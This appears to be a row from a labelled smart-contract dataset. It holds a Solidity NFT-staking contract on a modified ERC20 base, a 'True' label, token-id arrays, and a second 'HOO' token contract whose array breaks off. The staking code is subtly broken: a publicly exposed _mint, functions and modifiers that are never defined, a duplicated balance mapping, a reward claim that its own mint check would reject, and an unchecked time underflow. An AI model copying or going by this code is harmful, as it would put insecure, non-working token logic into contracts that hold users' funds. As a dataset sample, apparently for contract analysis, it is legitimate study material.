* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, NFTContracts {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) internal virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) internal virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public virtual payable {
require(account != address(0), "ERC20: mint to the zero address");
require(isStakeable(account) == true, "Account is not stakeable contract");
require(msg.sender == address(this), "What are you trying to do?");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract NFTStaking is IERC721Receiver, ERC20 {
IERC721 internal parentNFT;
ERC20 internal tokenContract;
uint lockupTime = 3600*24; //3600 equals 1 hour of unix time. Lockup time set to 24 hours by default.
uint frequency = 3600*24; //earns 1 token per every 24 hours staked
uint oneOfOneMultiplier = 10;
uint stakerCounter = 0;
struct Stake {
address smart_contract;
uint tokenId;
uint timestamp;
address wallet;
uint index;
}
Stake[] internal stakes;
mapping(address => mapping(address => uint[])) internal getTokenIDsOfStakerPerContractAndIndex; //returns TokenID
mapping(address => mapping(address => mapping(uint => Stake))) internal getStakeOfOwnerPerContractAndTokenID; //returns Stake record
function addStaker(address smart_contract, uint _tokenId, uint _timestamp, address _wallet) internal {
uint index = stakerCounter;
stakerCounter += 1;
Stake memory new_staker = Stake(smart_contract, _tokenId, _timestamp, _wallet, index);
stakes.push(new_staker);
getStakeOfOwnerPerContractAndTokenID[_wallet][smart_contract][_tokenId] = new_staker;
getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract].push(_tokenId);
}
function removeStaker(address smart_contract, address _wallet, uint _tokenId) internal {
uint index = getIndexOfStake(smart_contract, _wallet, _tokenId);
delete getStakeOfOwnerPerContractAndTokenID[_wallet][smart_contract][_tokenId];
delete getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract][index];
}
//this works as intended
function getTokenIDsOfStaker(address smart_contract, address _wallet) public view returns ( uint[] memory ) {
uint lengthWithoutZeros = countTokenArrayWithoutZeros(smart_contract, _wallet);
uint lengthWithZeros = getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract].length;
uint[] memory tokenArray = new uint[](lengthWithoutZeros);
uint j = 0;
for (uint i=0; i<lengthWithZeros; i++) {
if (getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract][i] != 0) {
tokenArray[j] = getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract][i];
j++;
}
}
return tokenArray;
}
function getIndexOfStake(address smart_contract, address _wallet, uint _tokenId) internal view returns ( uint ) {
uint index = getStakeOfOwnerPerContractAndTokenID[_wallet][smart_contract][_tokenId].index;
return index;
}
function getNumberOfTotalStakes() public view returns (uint) {
return stakes.length;
}
function countTokenArrayWithoutZeros(address smart_contract, address _wallet) internal view returns (uint) {
uint oldLength = getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract].length;
uint newLength;
uint tokenCounter;
for (uint i=0; i<oldLength; i++) {
if (getTokenIDsOfStakerPerContractAndIndex[_wallet][smart_contract][i] != 0) {
tokenCounter += 1;
}
}
newLength = tokenCounter;
return newLength;
}
function numberOfStakedTokens(address smart_contract) public view returns(uint) {
uint _numberOfStakedTokens = ERC721(smart_contract).balanceOf(address(this));
return _numberOfStakedTokens;
}
// map staker to total staking time
mapping(address => uint) public stakingTime;
mapping(address => uint) public claimedTime;
mapping(address => uint) private _balances;
constructor(address _tokenContract) {
tokenContract = ERC20(_tokenContract); //Token Contract
}
//@dev pass in contract address and array of associated tokenIDs you want to stake.
// *this contract must be approved by the message sender prior to the function being called or it will revert*
// create stake record
// transfer NFT to this address
function stake(address smart_contract, uint[] calldata _tokenIds) public {
require(isStakeable(smart_contract) == true, "This NFT is not stakeable at this time.");
uint length = _tokenIds.length;
parentNFT = ERC721(smart_contract);
unchecked {
for (uint i=0; i<length; i++) {
uint _tokenId = _tokenIds[i]; //sets token ID value from input array
require(parentNFT.ownerOf(_tokenId) == msg.sender, "You don't own one or more of the NFTs you're trying to stake.");
addStaker(smart_contract, _tokenId, block.timestamp, msg.sender); //adds struct to array of struct
parentNFT.safeTransferFrom(msg.sender, address(this), _tokenId, "0x00"); //calls transfer function of input contract.
}
}
}
//@dev pass in contract address and array of associated tokenIDs you want to unstake.
// transfers NFTs back to the owner and records staking time earned upon unstaking.
// mints ERC20 token based on time earned and multiplier of contract address.
// deletes previous stake record
function getOriginalStaker(address smart_contract, address _wallet, uint _tokenId) public view returns (address) {
return getStakeOfOwnerPerContractAndTokenID[_wallet][smart_contract][_tokenId].wallet;
}
function unstake(address smart_contract, uint[] calldata _tokenIds) public payable {
//always unstakeable except for cooldown {lockupTime} staker must wait before unstaking to prevent spam.
parentNFT = ERC721(smart_contract); //creates connection with contract specific tokenIds
uint length = _tokenIds.length;
unchecked {
for (uint i=0; i<length; i++) {
uint _tokenId = _tokenIds[i];
address original_staker = getOriginalStaker(smart_contract, msg.sender, _tokenId);
require(original_staker == msg.sender, "You didn't stake this one or more of these tokens.");
require(block.timestamp - getStakeOfOwnerPerContractAndTokenID[msg.sender][smart_contract][_tokenId].timestamp > lockupTime, "Slow down cowboy, you just staked one of the tokens attempted.");
stakingTime[msg.sender] += getStakingTime(_tokenId, smart_contract);
parentNFT.safeTransferFrom(address(this), msg.sender, _tokenId, "0x00");
removeStaker(smart_contract, original_staker, _tokenId);
}
}
}
function claimRewards() public payable {
require(stakingTime[msg.sender] > 0, "You don't have any rewards to claim.");
tokenContract._mint(msg.sender, stakingTime[msg.sender]);
claimedTime[msg.sender] += stakingTime[msg.sender];
stakingTime[msg.sender] -= stakingTime[msg.sender];
}
function unrealizedRewardsOfTokens(address smart_contract, uint[] calldata _tokenIds) public view returns (uint256) {
uint length = _tokenIds.length;
uint unrealizedRewards;
for (uint i=0; i<length; i++) {
unrealizedRewards += getStakingTime(_tokenIds[i], smart_contract);
}
return unrealizedRewards;
}
function updateTokenContract(address newTokenAddress) public virtual onlyOwner {
tokenContract = ERC20(newTokenAddress);
}
function updateLockupTime(uint256 _timeInSeconds) public virtual onlyOwner {
lockupTime = _timeInSeconds;
}
function lockupTimeLeft(address _wallet, address smart_contract, uint _tokenId) public view returns (uint) {
uint stakedTimestamp = getStakeOfOwnerPerContractAndTokenID[_wallet][smart_contract][_tokenId].timestamp;
uint timeStaked = (block.timestamp - stakedTimestamp);
uint lockupTimeRemaining = lockupTime - timeStaked;
if (lockupTimeRemaining > 0) {
return lockupTimeRemaining;
} else {
return 0;
}
}
function updateFrequency(uint256 _timeInSeconds) public virtual onlyOwner {
frequency = _timeInSeconds;
}
function getStakingTime(uint256 _tokenId, address smart_contract) internal view returns (uint256) {
uint stakedTimestamp = getStakeOfOwnerPerContractAndTokenID[msg.sender][smart_contract][_tokenId].timestamp;
return (((block.timestamp - stakedTimestamp) * 1 ether * getMultiplier(smart_contract, _tokenId)) / frequency);
}
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2570,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1030,
3166,
1013,
16475,
1031,
10373,
5123,
1033,
1997,
2522,
1011,
13625,
11775,
1012,
7479,
1012,
2522,
1011,
13625,
1012,
2996,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
16048,
2629,
5403,
9102,
1065,
1007,
1012,
1008,
1008,
2005,
2019,
7375,
1010,
2156,
1063,
9413,
2278,
16048,
2629,
1065,
1012,
1008,
1013,
8278,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
2995,
2065,
2023,
3206,
22164,
1996,
8278,
4225,
2011,
1008,
1036,
8278,
3593,
1036,
1012,
2156,
1996,
7978,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1001,
2129,
1011,
19706,
1011,
2024,
1011,
4453,
1031,
1041,
11514,
2930,
1033,
1008,
2000,
4553,
2062,
2055,
2129,
2122,
8909,
2015,
2024,
2580,
1012,
1008,
1008,
2023,
3853,
2655,
2442,
2224,
2625,
2084,
2382,
2199,
3806,
1012,
1008,
1013,
3853,
6753,
18447,
2121,
12172,
1006,
27507,
2549,
8278,
3593,
1007,
6327,
3193,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
3223,
8278,
1997,
2019,
9413,
2278,
2581,
17465,
24577,
3206,
1012,
1008,
1013,
8278,
29464,
11890,
2581,
17465,
2003,
29464,
11890,
16048,
2629,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
19204,
3593,
1036,
19204,
2003,
4015,
2013,
1036,
2013,
1036,
2000,
1036,
2000,
1036,
1012,
1008,
1013,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
1036,
4844,
1036,
2000,
6133,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1013,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4844,
1010,
21318,
3372,
17788,
2575,
25331,
19204,
3593,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
22627,
2043,
1036,
3954,
1036,
12939,
2030,
4487,
19150,
2015,
1006,
1036,
4844,
1036,
1007,
1036,
6872,
1036,
2000,
6133,
2035,
1997,
2049,
7045,
1012,
1008,
1013,
2724,
6226,
29278,
8095,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
6872,
1010,
22017,
2140,
4844,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2193,
1997,
19204,
2015,
1999,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
4070,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3954,
1997,
1996,
1036,
19204,
3593,
1036,
19204,
1012,
1008,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract HOO is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("HOO.com", "HOO", 18) {
governance = msg.sender;
_mint(governance,10000*10**18);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
2385,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
1065,
3206,
6123,
1063,
9570,
2953,
1006,
1007,
4722,
1063,
1065,
1013,
1013,
14017,
10606,
2102,
1011,
4487,
19150,
1011,
3025,
1011,
2240,
2053,
1011,
4064,
1011,
5991,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
3206,
9413,
2278,
11387,
2003,
6123,
1010,
29464,
11890,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2797,
1035,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
1007,
2797,
1035,
21447,
2015,
1025,
21318,
3372,
2797,
1035,
21948,
6279,
22086,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1035,
21948,
6279,
22086,
1025,
1065,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
1035,
5703,
2015,
1031,
4070,
1033,
1025,
1065,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
1035,
4651,
1006,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
7799,
1010,
3815,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
